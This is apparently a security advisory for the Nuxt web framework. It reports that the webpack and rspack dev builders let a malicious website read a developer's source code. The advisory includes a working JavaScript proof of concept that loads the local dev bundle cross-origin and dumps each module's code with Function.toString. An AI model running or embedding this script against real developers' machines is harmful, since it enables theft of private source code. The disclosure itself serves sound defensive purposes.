Nuxt is an open-source web development framework for Vue.js. Source code may be stolen during dev when using version 3.0.0 through 3.15.12 of the webpack builder or version 3.12.2 through 3.152 of the rspack builder and a victim opens a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. By using `Function::toString` against the values in `window.webpackChunknuxt_app`, the attacker can get the source code. Version 3.15.13 of Nuxt patches this issue.

Affected: npm: @nuxt/webpack-builder, npm: @nuxt/rspack-builder

### Summary Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.

### Details Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src="http://localhost:3000/_nuxt/app.js">` in their site and run the script. By using `Function::toString` against the values in `window.webpackChunknuxt_app`, the attacker can get the source code.

### PoC 1. Create a nuxt project with webpack / rspack builder. 1. Run `npm run dev` 1. Open `http://localhost:3000` 1. Run the script below in a web site that has a different origin. 1. You can see the source code output in the document and the devtools console.

```js const script = document.createElement('script') script.src = 'http://localhost:3000/_nuxt/app.js' script.addEventListener('load', () => { for (const page in window.webpackChunknuxt_app) { const moduleList = window.webpackChunknuxt_app[page][1] console.log(moduleList)

for (const key in moduleList) { const p = document.createElement('p') const title = document.createElement('strong') title.textContent = key const code = document.createElement('code') code.textContent = moduleList[key].toString() p.append(title, ':', document.createElement('br'), code) document.body.appendChild(p) } } }) document.head.appendChild(script) ```

![image](https://github.com/user-attachments/assets/201e39b7-da5c-4359-867f-9…